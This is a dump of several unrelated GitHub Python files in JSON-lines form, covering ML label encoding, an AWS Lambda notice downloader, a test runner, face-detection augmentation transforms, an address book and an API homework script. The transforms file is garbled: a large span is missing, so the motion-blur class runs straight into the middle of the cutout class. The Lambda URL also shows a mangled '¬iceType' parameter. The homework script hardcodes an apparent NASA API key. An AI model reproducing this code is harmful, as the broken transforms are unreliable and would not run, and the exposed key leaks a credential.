manual_one_hot_encoder(list_of_labels, new_entry=False):\n \"\"\"\n Function to encode labels to one-hot form.\n @param list_of_labels: classes in integer format.\n @param new_entry: can be set to true if there are other classes than pre-defined 5 classes\n @return: array of one-hot encoded labels\n \"\"\"\n if not new_entry:\n no_of_classes = np.amax(list_of_labels) + 1\n else:\n no_of_classes = 5 # +1 because python's range operator considers [start, end)\n one_hot_encoded_labels = np.zeros(shape=(len(list_of_labels), no_of_classes), dtype=int)\n for idx, each_array in enumerate(list_of_labels):\n all_zeros = np.array([0 for _ in range(no_of_classes)])\n np.put(all_zeros, each_array[0], 1)\n one_hot_encoded_labels[idx] = all_zeros\n return one_hot_encoded_labels\n\n # @staticmethod\n # def one_hot_encode(list_of_labels):\n # print(list_of_labels)\n # encoder = OneHotEncoder(sparse=False)\n # onehot_encoded = encoder.fit_transform(list_of_labels)\n # return onehot_encoded\n\n\nclass TextInterface():\n \"\"\"\n Class to manage the text UI functionalities.\n \"\"\"\n def __init__(self, train_data):\n \"\"\"\n Constructor.\n @param train_data: is the dataframe after label and one-hot encoding.\n \"\"\"\n print(\"Data received: \")\n print(train_data.head(5))\n self.train_data = train_data\n self.feature_names = ['Request', 'Incident', 'WebServices', 'Login', 'Wireless', 'Printing',\n 'IdCards', 'Staff', 'Students']\n self.features_for_prediction = self.get_user_inputs()\n\n def get_user_inputs(self):\n \"\"\"\n Function to read user inputs for each feature.\n @return: list of complete input features.\n \"\"\"\n print(\"Please enter 'Yes/yes/y' for yes and 'No/no/n' for no saying whether the specified tag applies for the ticket...\")\n all_inputs = []\n label_dict = {'Yes': 'Yes', 'y': 'Yes', 'yes': 'Yes', 'No': 'No', 'n': 'No', 'no': 'No'}\n for (idx, name) in enumerate(self.feature_names):\n label = input(name + \": \")\n all_inputs.append(label_dict.get(label))\n print(f\"Press 'y' if you are tired of giving inputs, press 'n' otherwise:\")\n if input() == 'y':\n break\n\n # replace the rest of inputs with the maximum occurring value of that column\n remaining_inputs = len(self.feature_names) - len(all_inputs)\n if remaining_inputs > 0:\n for each in range(remaining_inputs):\n index = len(all_inputs)\n average_value = self.train_data[self.feature_names[index]].mean()\n answer = 'No' if average_value < 0.5 else 'Yes'\n all_inputs.append(answer)\n\n print(\"Inputs being used for prediction: \", all_inputs)\n return all_inputs\n\n def encode_user_data(self):\n \"\"\"\n Function to encode data received from user through UI.\n @return: array of encoded features.\n \"\"\"\n data_encoder = DataEncoder()\n features = [[each] for each in self.features_for_prediction]\n encoded_features = []\n for idx, column_name in enumerate(self.feature_names):\n encoded_features.append(data_encoder.encode_labels(features[idx],\n column_name,\n load_from_file=True))\n print(\"Encoded features: \", encoded_features)\n return np.array(encoded_features)\n","repo_name":"srvCodes/msc_st_andrews","sub_path":"ai_practice/A4Submission/A4src/src/encodeData.py","file_name":"encodeData.py","file_ext":"py","file_size_in_byte":6351,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"32167521619","text":"import os\n\nimport requests\nimport boto3\nimport sys\nfrom datetime import datetime\n\n\ndef lambda_handler(event, context):\n print(f'Debug: event: {event}')\n\n cellar_id = event['cellarId']\n print(f'Downloading notice with cellar {cellar_id}')\n\n try:\n url = f'{get_endpoints()[\"notice\"]}/download-notice.html?legalContentId=cellar:' \\\n f'{cellar_id}¬iceType=branch&callingUrl=&lng=EN'\n print(f'Querying for notice: {url}')\n response = requests.get(url)\n if response.status_code == 200:\n print('Notice was downloaded successfully')\n upload_content(response.content, cellar_id)\n save_record(cellar_id)\n\n event['downloaded'] = True\n except Exception as e:\n error = sys.exc_info()[2]\n print(f'Error while downloading {error}, {e}')\n event['error'] = error\n event['downloaded'] = False\n\n return event\n\n\ndef upload_content(content: str, cellar_id: str):\n \"\"\"\n This function downloads the notice from EurLex and uploads it to S3\n \"\"\"\n s3_client = boto3.client('s3', endpoint_url=get_endpoints()['aws'])\n object_key = f'notice_{cellar_id}.xml'\n bucket_name = get_s3_bucket_name()\n existing_objects = s3_client.list_objects(Bucket=bucket_name, Prefix=object_key)\n\n if 'Contents' in existing_objects:\n print('Object with a given name already exists, to be removed')\n for item in existing_objects['Contents']:\n remove_key = item['Key']\n print(f'Removing {remove_key} from bucket {bucket_name}')\n s3_client.delete_object(Bucket=bucket_name, Key=remove_key)\n\n s3_client.put_object(Bucket=bucket_name, Key=object_key, Body=content)\n print(f'Object {object_key} was uploaded to bucket {bucket_name}')\n\n\ndef save_record(cellar_id: str):\n \"\"\"\n This function creates a record in the DynamoDB about a downloaded notice\n \"\"\"\n dynamo_client = boto3.client('dynamodb', endpoint_url=get_endpoints()['aws'])\n dynamo_table = get_dyname_table_name()\n current_date = datetime.now()\n dynamo_client.put_item(TableName=dynamo_table, Item={\n 'cellarId': {\n 'S': cellar_id\n },\n 'created': {\n 'S': current_date.strftime('%m/%d/%y %H:%M:%S')\n }\n })\n print(f'Item with cellar {cellar_id} created')\n\n\ndef get_s3_bucket_name() -> str:\n \"\"\"\n Returns the name of bucket to store downloaded notices\n \"\"\"\n return os.getenv('INGEST_S3_BUCKET_NAME', 'notices-bucket')\n\n\ndef get_dyname_table_name() -> str:\n \"\"\"\n Returns the name of the DynamoDB table to store information about downloaded notices\n \"\"\"\n return os.getenv('INGEST_DYNAMODB_TABLE_NAME', 'eurlex_documents')\n\n\ndef get_endpoints():\n \"\"\"\n Returns Localstack url for CI tests else None\n \"\"\"\n aws_endpoint = None if os.getenv(\"LOCALSTACK_HOSTNAME\") is None \\\n else f'http://{os.getenv(\"LOCALSTACK_HOSTNAME\")}:4566'\n notice_download_host = \"https://eur-lex.europa.eu\"\n\n return {\"aws\": aws_endpoint, \"notice\": notice_download_host}\n\n\nif __name__ == '__main__':\n event = {\n 'cellarId': 'a14bb485-038c-11eb-a511-01aa75ed71a1'\n }\n lambda_handler(event, {})\n","repo_name":"awssamapp/awssamapp","sub_path":"functions/ingest_metadata_downloader/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3210,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"33084830556","text":"\"\"\"\nQuick and dirty test runner for tib\n\"\"\"\n\nimport os\nimport subprocess\nimport time\nimport glob\nfrom collections import namedtuple\n\nTIB_EXEC = '..' + os.path.sep + 'tib'\nTIB_FLAGS = []\n\nTAG_DELIM = '#!'\nARGS = 'args='\nRETV = 'retval='\nDESC = 'desc='\nNAME = 'name='\n\nTestInfo = namedtuple('test_info', ['retval', 'args', 'desc', 'name'])\nTestFailureInfo = namedtuple('test_failure_info', ['info', 'filename', 'reason'])\n\ntests = [y for x in os.walk('.') for y in glob.glob(os.path.join(x[0], '*.tib'))]\ntests_output = [y for x in os.walk('.') for y in glob.glob(os.path.join(x[0], '*.tib.out'))]\n\nstart = time.time()\n\ndef get_test_info(filename):\n file = open(filename)\n\n retval = 0\n args = \"\"\n desc = \"\"\n name = \"\"\n\n line = file.readline()\n\n while line.startswith(TAG_DELIM):\n line = line[len(TAG_DELIM):]\n if line.startswith(RETV):\n retval = int(line[len(RETV):])\n elif line.startswith(ARGS):\n args = line[len(ARGS):].rstrip()\n elif line.startswith(DESC):\n desc = line[len(DESC):]\n elif line.startswith(NAME):\n name = line[len(NAME):]\n \n return TestInfo(retval, args, desc, name)\n\nfailures = []\ncount = 0\n\nfor test in tests:\n count = count + 1\n info = get_test_info(test)\n\n name = test\n if info.name:\n name = info.name\n\n args = '-d'\n if len(info.args) != 0:\n args = info.args\n \n results = subprocess.run([TIB_EXEC, test, args], stdout=subprocess.PIPE)\n\n if results.returncode != info.retval:\n print(results.stdout)\n failures.append(TestFailureInfo(info, test, \"Expected return code {}, got {}\".format(info.retval, results.returncode)))\n continue\n\n if test + '.out' in tests_output:\n output_file = open(test + '.out')\n output = output_file.read().replace('\\r','')\n output_file.close()\n std_out = results.stdout.decode('unicode_escape').replace('\\r','')\n\n if std_out != output:\n print(\"{}\\nGot:\".format(test))\n print(std_out)\n failures.append(TestFailureInfo(info, test, \"Output did not match!\"))\n print(\"\\nExpected:\")\n print(output)\n continue\n else:\n print(\"Warning! {} is missing a correct output file!\".format(test))\n\nprint(\"{}/{} tests passed in {}s\".format(count-len(failures), count, time.time() - start))\n\nfor failure in failures:\n print(\"\\t{filename} \\n\\t\\t{reason}\".format(filename=failure.filename[2:], reason=failure.reason))\n\nprint(\"\\nDone.\") ","repo_name":"jaydenmilne/tib","sub_path":"tests/test-runner.py","file_name":"test-runner.py","file_ext":"py","file_size_in_byte":2543,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"1406747535","text":"import csv\n\n\ndef get_csv_data(filename):\n rows=[]\n with open('D:\\\\VIP_Selenium\\\\SEC12\\\\data\\\\users.csv','r') as f:\n reader = csv.reader(f)\n next(reader)\n for row in reader:\n rows.append(row)\n\n return rows","repo_name":"guozizheng1/VIP_Selenium","sub_path":"SEC12/utils/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":245,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"18706740140","text":"import FWCore.ParameterSet.Config as cms\n\nfrom FWCore.ParameterSet.VarParsing import VarParsing\n\noptions = VarParsing('python')\n\noptions.register('inputFilename', 'list', #HTauTauAnalysis_1_1_Sl2.root',\n VarParsing.multiplicity.singleton,\n VarParsing.varType.string,\n \"Input file name\"\n)\n\n\noptions.parseArguments()\n\n\nprocess = cms.Process(\"Demo\")\n\nprocess.load(\"FWCore.MessageService.MessageLogger_cfi\")\n\nprocess.TFileService=cms.Service(\"TFileService\",fileName=cms.string(\"OUT_\"+options.inputFilename+\".root\"))\n\nprocess.maxEvents = cms.untracked.PSet( input = cms.untracked.int32(1) )\n\nprocess.source = cms.Source(\"EmptySource\")\n\nprocess.demo = cms.EDAnalyzer('SignalStudy',\n InputFile = cms.string(options.inputFilename+\".txt\"),\n)\n\n\nprocess.p = cms.Path(process.demo)\n","repo_name":"amkalsi/SomeScripts","sub_path":"SignalStudy/python/run_signalsample.py","file_name":"run_signalsample.py","file_ext":"py","file_size_in_byte":811,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"32740319565","text":"def solution(arr1, arr2):\n row1 = range(len(arr1))\n col1 = range(len(arr1[0]))\n col2 = range(len(arr2[0]))\n answer = [[0 for _ in col2] for _ in row1]\n for i in row1:\n for j in col1:\n for k in col2:\n answer[i][k] += arr1[i][j] * arr2[j][k]\n \n return answer","repo_name":"SIDED00R/Code_training","sub_path":"프로그래머스/lv2/12949. 행렬의 곱셈/행렬의 곱셈.py","file_name":"행렬의 곱셈.py","file_ext":"py","file_size_in_byte":318,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"70472251047","text":"from multiprocessing import Process, Queue, Pool\r\nimport random\r\nimport os\r\nimport time\r\n\r\ndef f(x):\r\n taskid = os.getpid()\r\n print('Run task {}'.format(taskid))\r\n start = time.time()\r\n if x % 2:\r\n y = x\r\n else:\r\n y = 'Even'\r\n try:\r\n f.q.put(x)\r\n except:\r\n pass\r\n time.sleep(1)\r\n end = time.time()\r\n print('Task {} runs {:.2f} seconds.'.format(taskid, end - start))\r\n return y\r\n\r\ndef f_init(q):\r\n # This is a monkey patch, which allows us to modify the\r\n # attributes in run time. Also, methods in python are also objects,\r\n # which allows this f.q operation\r\n f.q = q\r\n\r\nif __name__ == '__main__':\r\n print('Parent process: {}'.format(os.getpid()))\r\n start = time.time()\r\n q = Queue()\r\n # Initializer will be applied to each process in the pool\r\n with Pool(processes=4, initializer=f_init, initargs=[q]) as p:\r\n print(p.map(f, range(4)))\r\n print('Even list: {}'.format([q.get() for i in range(q.qsize())]))\r\n print('Multiprocessing. Time: {}'.format(time.time() - start))\r\n start = time.time()\r\n print(list(map(f, range(4))))\r\n print('Asynchronous. Time: {}'.format(time.time() - start))","repo_name":"jonathanlxy/miaozhen_hackathon","sub_path":"archive/multiprocessing_demo.py","file_name":"multiprocessing_demo.py","file_ext":"py","file_size_in_byte":1213,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"53"}
+{"seq_id":"37531319746","text":"'''Transforms for training the face detection\n'''\nfrom __future__ import division\nimport torch\nimport torchvision.transforms as torch_transforms\nimport math\nimport random #do not use numpy's random libraries for subprocess behavior\nimport numpy as np\nfrom transforms import functional as F\nimport collections\nfrom PIL import Image\nimport cv2\nimport urllib\nfrom utils.box_utils import box_iou, box_clamp, pts_clamp\n\n__all__ = [\"Compose\", \"ToTensor\", \"Normalize\", \"RandomDistort\", \"RandomGrayscale\",\n \"RandomPaste\", \"RandomFlip\", \"RandomCrop\", \"Resize\", \"RandomMotionBlur\",\n \"RandomGaussianNoise\", \"RandomAdjustGamma\", \"RandomCutout\", \"Mosaic\"]\n\n\nclass Compose(object):\n def __init__(self, transforms):\n self.transforms = transforms\n\n def __call__(self, img, boxes, labels, pts, has_pt):\n for k, t in enumerate(self.transforms):\n img, boxes, labels, pts, has_pt = t(img, boxes, labels, pts, has_pt)\n return img, boxes, labels, pts, has_pt\n\nclass ToTensor(object):\n def __init__(self):\n self.to_tensor = torch_transforms.ToTensor()\n def __call__(self, img, boxes, labels, pts, has_pt):\n img = self.to_tensor(img)\n return img, boxes, labels, pts, has_pt\n\nclass Normalize(object):\n def __init__(self, mean, std):\n self.mean = mean\n self.std = std\n self.norm = torch_transforms.Normalize(self.mean, self.std)\n def __call__(self, img, boxes, labels, pts, has_pt):\n img = self.norm(img)\n return img, boxes, labels, pts, has_pt\n\nclass RandomDistort(object):\n def __init__(self, brightness_delta=32/255., contrast_delta=0.5, saturation_delta=0.5, hue_delta=0.1):\n '''A color related data augmentation used in SSD.\n Args:\n img: (PIL.Image) image to be color augmented.\n brightness_delta: (float) shift of brightness, range from [1-delta,1+delta].\n contrast_delta: (float) shift of contrast, range from [1-delta,1+delta].\n saturation_delta: (float) shift of saturation, range from [1-delta,1+delta].\n hue_delta: (float) shift of hue, range from [-delta,delta].\n Returns:\n img: (PIL.Image) color augmented image.\n '''\n self.brightness_delta = brightness_delta\n self.contrast_delta = contrast_delta\n self.saturation_delta = saturation_delta\n self.hue_delta = hue_delta\n\n def __call__(self, img, boxes, labels, pts, has_pt):\n def brightness(img, delta):\n if random.random() < 0.5:\n img = torch_transforms.ColorJitter(brightness=delta)(img)\n return img\n\n def contrast(img, delta):\n if random.random() < 0.5:\n img = torch_transforms.ColorJitter(contrast=delta)(img)\n return img\n\n def saturation(img, delta):\n if random.random() < 0.5:\n img = torch_transforms.ColorJitter(saturation=delta)(img)\n return img\n\n def hue(img, delta):\n if random.random() < 0.5:\n img = torch_transforms.ColorJitter(hue=delta)(img)\n return img\n\n img = brightness(img, self.brightness_delta)\n if random.random() < 0.5:\n img = contrast(img, self.contrast_delta)\n img = saturation(img, self.saturation_delta)\n img = hue(img, self.hue_delta)\n else:\n img = saturation(img, self.saturation_delta)\n img = hue(img, self.hue_delta)\n img = contrast(img, self.contrast_delta)\n return img, boxes, labels, pts, has_pt\n\nclass RandomGrayscale(object):\n def __init__(self, proba=0.3):\n self._proba = proba\n\n def __call__(self, img, boxes, labels, pts, has_pt):\n if random.random() < self._proba:\n img = img.convert(\"L\")\n img = np.array(img)[:, :, None]\n img = np.tile(img, (1, 1, 3))\n img = Image.fromarray(img)\n\n return img, boxes, labels, pts, has_pt\n\nclass RandomPaste(object):\n def __init__(self, max_ratio=4, fill=0, proba=1.):\n '''Randomly paste the input image on a larger canvas.\n If boxes is not None, adjust boxes accordingly.\n Args:\n img: (PIL.Image) image to be flipped.\n boxes: (tensor) object boxes, sized [#obj,4].\n pts: (tensor) object 5_pts, sized [#obj,10].\n max_ratio: (int) maximum ratio of expansion.\n fill: (tuple) the RGB value to fill the canvas.\n Returns:\n canvas: (PIL.Image) canvas with image pasted.\n boxes: (tensor) adjusted object boxes.\n pts: (tensor) adjusted object pts.\n '''\n self.max_ratio = max_ratio\n self.fill = fill\n self.proba = proba\n\n def __call__(self, img, boxes, labels, pts, has_pt):\n if random.uniform(0, 1) < self.proba:\n w, h = img.size\n ratio = random.uniform(1, self.max_ratio)\n ow, oh = int(w*ratio), int(h*ratio)\n canvas = Image.new('RGB', (ow, oh), self.fill)\n\n x = random.randint(0, ow - w)\n y = random.randint(0, oh - h)\n canvas.paste(img, (x, y))\n\n if boxes is not None:\n boxes = boxes + torch.tensor([x, y]*2, dtype=torch.float)\n if pts is not None:\n pts = pts + torch.tensor([x, y]*5, dtype=torch.float)\n return canvas, boxes, labels, pts, has_pt\n else:\n return img, boxes, labels, pts, has_pt\n\nclass RandomFlip(object):\n def __init__(self, proba=0.5):\n '''Randomly flip PIL image.\n If boxes is not None, flip boxes accordingly.\n Args:\n img: (PIL.Image) image to be flipped.\n boxes: (tensor) object boxes, sized [#obj,4].\n pts: (tensor) object pts, sized [#obj,10].\n Returns:\n img: (PIL.Image) randomly flipped image.\n boxes: (tensor) randomly flipped boxes.\n pts: (tensor) randomly flipped pts.\n '''\n self.proba = proba\n\n def __call__(self, img, boxes, labels, pts, has_pt):\n if random.random() < self.proba:\n img = img.transpose(Image.FLIP_LEFT_RIGHT)\n w = img.width\n if boxes is not None:\n xmin = w - boxes[:, 2]\n xmax = w - boxes[:, 0]\n boxes[:, 0] = xmin\n boxes[:, 2] = xmax\n\n if pts is not None:\n last_pts = pts.clone()\n l_eye_x = w - last_pts[:, 2]\n l_eye_y = last_pts[:, 3]\n r_eye_x = w - last_pts[:, 0]\n r_eye_y = last_pts[:, 1]\n nose = w - last_pts[:, 4]\n l_mouse_x = w - last_pts[:, 8]\n l_mouse_y = last_pts[:, 9]\n r_mouse_x = w - last_pts[:, 6]\n r_mouse_y = last_pts[:, 7]\n pts[:, 0] = l_eye_x\n pts[:, 1] = l_eye_y\n pts[:, 2] = r_eye_x\n pts[:, 3] = r_eye_y\n pts[:, 4] = nose\n pts[:, 6] = l_mouse_x\n pts[:, 7] = l_mouse_y\n pts[:, 8] = r_mouse_x\n pts[:, 9] = r_mouse_y\n\n return img, boxes, labels, pts, has_pt\n\nclass RandomCrop(object):\n def __init__(self, min_scale=0.3, max_aspect_ratio=2., proba=1.):\n self.min_scale = min_scale\n self.max_aspect_ratio = max_aspect_ratio\n self.proba = proba\n\n def __call__(self, img, boxes, labels, pts, has_pt):\n if random.random() > self.proba:\n return img, boxes, labels, pts, has_pt\n\n imw, imh = img.size\n params = [(0, 0, imw, imh)] # crop roi (x,y,w,h) out\n min_iou=random.choice([0, 0.1, 0.3, 0.5, 0.7, 0.9])\n #for min_iou in (0, 0.1, 0.3, 0.5, 0.7, 0.9):\n for _ in range(10):\n scale = random.uniform(self.min_scale, 1)\n aspect_ratio = random.uniform(\n max(1/self.max_aspect_ratio, scale*scale),\n min(self.max_aspect_ratio, 1/(scale*scale)))\n w = int(imw * scale * math.sqrt(aspect_ratio))\n h = int(imh * scale / math.sqrt(aspect_ratio))\n\n x = random.randrange(imw - w)\n y = random.randrange(imh - h)\n\n roi = torch.tensor([[x, y, x+w, y+h]], dtype=torch.float)\n ious = box_iou(boxes, roi)\n params.append((x, y, w, h))\n\n if ious.min() >= min_iou:\n params=[(x, y, w, h)]\n break\n\n x, y, w, h = random.choice(params)\n img = img.crop((x, y, x+w, y+h))\n\n center = (boxes[:, :2] + boxes[:, 2:]) / 2\n mask = (center[:, 0] >= x) & (center[:, 0] <= x+w) \\\n & (center[:, 1] >= y) & (center[:, 1] <= y+h)\n if mask.any():\n boxes = boxes[mask] - torch.tensor([x, y]*2, dtype=torch.float)\n boxes = box_clamp(boxes, 0, 0, w, h)\n labels = labels[mask]\n pts = pts[mask] - torch.tensor([x, y]*5, dtype=torch.float)\n # pts = pts_clamp(pts, 0, 0, w, h)\n has_pt = has_pt[mask]\n else:\n boxes = torch.tensor([[0, 0]*2], dtype=torch.float)\n labels = torch.tensor([-1], dtype=torch.long)\n pts = torch.tensor([[0, 0]*5], dtype=torch.float)\n has_pt = torch.tensor([False], dtype=torch.bool)\n return img, boxes, labels, pts, has_pt\n\n\nclass Resize(object):\n def __init__(self, size, max_size=1000, random_interpolation=False):\n '''Resize the input PIL image to given size.\n If boxes is not None, resize boxes accordingly.\n Args:\n img: (PIL.Image) image to be resized.\n boxes: (tensor) object boxes, sized [#obj,4].\n pts: (tensor) object pts, sized [#obj,10].\n size: (tuple or int)\n - if is tuple, resize image to the size.\n - if is int, resize the shorter side to the size while maintaining the aspect ratio.\n max_size: (int) when size is int, limit the image longer size to max_size.\n This is essential to limit the usage of GPU memory.\n Returns:\n img: (PIL.Image) resized image.\n boxes: (tensor) resized boxes.\n Example:\n >> img, boxes, pts = resize(img, boxes, 600) # resize shorter side to 600\n >> img, boxes, pts = resize(img, boxes, (500,600)) # resize image size to (500,600)\n >> img, _, _ = resize(img, None, None, (500,600)) # resize image only\n '''\n self.size=size\n self.max_size = max_size\n self.random_interpolation = random_interpolation\n\n def __call__(self, img, boxes, labels, pts, has_pt):\n w, h = img.size\n if isinstance(self.size, int):\n size_min = min(w, h)\n size_max = max(w, h)\n sw = sh = float(self.size) / size_min\n if sw * size_max > self.max_size:\n sw = sh = float(self.max_size) / size_max\n ow = int(w * sw + 0.5)\n oh = int(h * sh + 0.5)\n else:\n ow, oh = self.size\n sw = float(ow) / w\n sh = float(oh) / h\n\n method = random.choice([\n Image.BOX,\n Image.NEAREST,\n Image.HAMMING,\n Image.BICUBIC,\n Image.LANCZOS,\n Image.BILINEAR]) if self.random_interpolation else Image.BILINEAR\n img = img.resize((ow, oh), method)\n if boxes is not None:\n boxes = boxes * torch.tensor([sw, sh]*2)\n if pts is not None:\n pts = pts * torch.tensor([sw, sh]*5)\n\n return img, boxes, labels, pts, has_pt\n\nclass RandomMotionBlur(object):\n def __init__(self, blur_intensity, direction, proba=0.3):\n self.blur_intensity=blur_intensity\n self.direction=direction\n self.proba=proba\n\n def __call__(self, image, boxes, labels, pts, has_pt):\n image=np.array(image)\n if random.uniform(0,1) self.p:\n continue\n\n b_w, b_h = box[2]-box[0], box[3]-box[1]\n box_scale = min(b_w//w, b_h//h)\n if box_scale < 0.1:\n continue\n\n radio_w = random.uniform(self.min_radio, self.max_radio)\n radio_h = random.uniform(self.min_radio, self.max_radio)\n cut_w = b_w * radio_w\n cut_h = b_h * radio_h\n idx = random.randint(0, int((b_w-cut_w)*(b_h-cut_h)-1))\n y = int(box[1] + idx // (b_w-cut_w))\n x = int(box[0] + idx - (y-box[1]) * (b_w-cut_w))\n img[y:int(y+cut_h), x:int(x+cut_w), :] = 128\n\n img = Image.fromarray(img)\n return img, boxes, labels, pts, has_pt\n\n\nclass Mosaic(object):\n def __init__(self, min_offset=0.35, proba=0.35, transforms=None):\n self.min_offset = min_offset\n self.proba = proba\n self.transforms = transforms\n\n def __call__(self, sample_list, img, boxes, labels, pts, has_pt):\n if random.random() > self.proba:\n return img, boxes, labels, pts, has_pt\n\n img = np.array(img)\n inds = [random.choice(list(range(len(sample_list)))) for i in range(3)]\n new_imgs, new_boxes, new_labels, new_pts, new_has_pts = [img], [boxes], [labels], [pts], [has_pt]\n for ind in inds:\n new_img, new_box, new_label, new_pt, new_has_pt = self.transforms_one_img(sample_list, ind)\n new_imgs.append(np.array(new_img).copy())\n new_boxes.append(new_box.clone())\n new_labels.append(new_label.clone())\n new_pts.append(new_pt.clone())\n new_has_pts.append(new_has_pt.clone())\n\n image_h, image_w = img.shape[:2]\n cut_x = np.random.randint(int(image_w*self.min_offset), int(image_w*(1 - self.min_offset)))\n cut_y = np.random.randint(int(image_h*self.min_offset), int(image_h*(1 - self.min_offset)))\n\n img_szs = []\n img_szs.append((cut_x, cut_y))\n img_szs.append((image_w-cut_x, cut_y))\n img_szs.append((cut_x, image_h-cut_y))\n img_szs.append((image_w-cut_x, image_h-cut_y))\n sws = []\n sws.append([cut_x/image_w, cut_y/image_h])\n sws.append([1-cut_x/image_w, cut_y/image_h])\n sws.append([cut_x/image_w, 1-cut_y/image_h])\n sws.append([1-cut_x/image_w, 1-cut_y/image_h])\n xy_shifts = []\n xy_shifts.append([0, 0])\n xy_shifts.append([cut_x, 0])\n xy_shifts.append([0, cut_y])\n xy_shifts.append([cut_x, cut_y])\n\n out_img = img.copy()\n\n for i in range(len(new_imgs)):\n new_imgs[i] = cv2.resize(new_imgs[i], img_szs[i])\n new_boxes[i] = new_boxes[i] * torch.tensor(sws[i]*2) + torch.tensor(xy_shifts[i]*2)\n new_pts[i] = new_pts[i] * torch.tensor(sws[i]*5) + torch.tensor(xy_shifts[i]*5)\n\n out_img[0:cut_y, 0:cut_x, :] = new_imgs[0]\n out_img[0:cut_y, cut_x:image_w, :] = new_imgs[1]\n out_img[cut_y:image_h, 0:cut_x, :] = new_imgs[2]\n out_img[cut_y:image_h, cut_x:image_w, :] = new_imgs[3]\n\n for k in range(1, len(new_imgs)):\n new_boxes[0] = torch.cat((new_boxes[0], new_boxes[k]), 0)\n new_labels[0] = torch.cat((new_labels[0], new_labels[k]), 0)\n new_pts[0] = torch.cat((new_pts[0], new_pts[k]), 0)\n new_has_pts[0] = torch.cat((new_has_pts[0], new_has_pts[k]), 0)\n\n return out_img, new_boxes[0], new_labels[0], new_pts[0], new_has_pts[0]\n\n\n def transforms_one_img(self, samples, index):\n img_path, annot_path = samples[index]\n if img_path[0:4] == 'http':\n img = Image.open(urllib.request.urlopen(img_path)).convert('RGB')\n img = np.asarray(img)\n pts = []\n with urllib.request.urlopen(annot_path) as f:\n for line in f.readlines():\n items = str(line, encoding = 'utf-8').split()\n items[-1] = items[-1].rstrip()\n pts.append(np.array([float(p) for p in items]))\n\n target = np.zeros((len(pts), 15), dtype=np.float)\n for p_i, pt in enumerate(pts):\n target[p_i] = pt\n\n else:\n img = cv2.imread(img_path)\n img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n target = np.loadtxt(annot_path, dtype=np.float32)\n target = target.reshape(-1, 15)\n\n assert img is not None and target is not None, 'sample {} have problem!'.format(img_path)\n h, w = img.shape[:2]\n boxes = target[:, :4]\n # x1, y1, w, h -> x1, y1, x2, y2\n boxes[:, 2:4] = boxes[:, 0:2] + boxes[:, 2:4]\n labels = target[:, 4]\n pts = target[:, 5:15]\n has_pt = pts.sum(axis=1) > 0\n\n # convert to torch tensor\n boxes = torch.Tensor(boxes)\n labels = torch.LongTensor(labels)\n pts = torch.Tensor(pts)\n has_pt = torch.BoolTensor(has_pt)\n\n img = Image.fromarray(img)\n if self.transforms is not None:\n img, boxes, labels, pts, has_pt = self.transforms(img, boxes, labels, pts, has_pt)\n\n return img, boxes, labels, pts, has_pt\n\n\n","repo_name":"FlyEgle/OneFace","sub_path":"transforms/transforms.py","file_name":"transforms.py","file_ext":"py","file_size_in_byte":19860,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"53"}
+{"seq_id":"38585751328","text":"from phonebook.Record import Record\n# from writers.FileWriter import FileWriter\nfrom utils.InputError import input_error\nfrom exceptions.Exceptions import IncorrectDataType, DuplicateEntry\nfrom collections import UserDict\nprint(__name__)\n\n\ndef save(func):\n def inner(self, *args, **kwargs):\n func(self, *args, **kwargs)\n self.database.save(self.data)\n # end def\n return inner\n# end def\n\n\nclass AddressBook(UserDict):\n # def __init__(self, **config):\n # filename = config.get(\"filename\", \"phonebook.json\")\n # self.database = FileWriter(filename)\n # self.data = self.database.load()\n\n # def __del__(self):\n # self.save()\n\n @input_error\n def find(self, needle):\n return self.data.get(needle, None)\n # end def\n\n @input_error\n # @save\n def add_record(self, record):\n if type(record) != Record:\n raise IncorrectDataType\n # end if\n\n if record.name in self.data.keys():\n if len(record.phones) > 0:\n record.phones.extend(self.data[record.name].phones)\n record.phones = list(set(record.phones))\n return self.modify_record(record)\n else:\n raise DuplicateEntry(\"Контакт\")\n # end if\n # end if\n\n self.data[record.name] = record\n return \"Контакт доданий успішно\"\n # end def\n\n @input_error\n def modify_record(self, record):\n if type(record) != Record:\n raise IncorrectDataType\n # end if\n\n self.data[record.name] = record\n return \"Контакт змінений успішно\"\n # end def\n\n @input_error\n def delete_record(self, name):\n self.data.pop(name)\n return \"Контакт видалений успішно\"\n # end def\n\n def return_phonebook(self):\n for record in self.data.values():\n yield record\n # end for\n # end def\n","repo_name":"AegisVP/goitneo-python-hw-2-group5","sub_path":"phonebook/AddressBook.py","file_name":"AddressBook.py","file_ext":"py","file_size_in_byte":1973,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"39023508524","text":"# Домашнее задание к Уроку 1:\n\nimport requests\nimport json\nfrom pprint import pprint\n\n # Посмотреть документацию к API GitHub, разобраться как вывести список репозиториев для конкретного пользователя,\n # сохранить JSON-вывод в файле *.json.\n\nurl = 'https://api.github.com'\nuser = 'Sharovatov-N'\nheaders = {\n 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) \\\n Chrome/84.0.4147.135 Safari/537.36'\n}\n\nreq = requests.get(f'{url}/users/{user}/repos',headers=headers)\nwith open('data.json', 'w') as f:\n json.dump(req.json(), f)\nfor i in req.json():\n print(i['name'])\n\nprint('*' * 50)\n # Изучить список открытых API. Найти среди них любое, требующее авторизацию (любого типа). Выполнить запросы к нему,\n # пройдя авторизацию. Ответ сервера записать в файл.\n\nurl = 'https://api.nasa.gov/planetary/apod'\nkey = 'G0rV8PEuizVjvE83pRDdmW1jzw9hVAWfccSoFwVG'\n\nparams = {\n 'date': '2020-08-01',\n 'api_key':key\n}\n\nheaders = {\n 'User-Agent':'Mozilla/5.0 (Windows NT 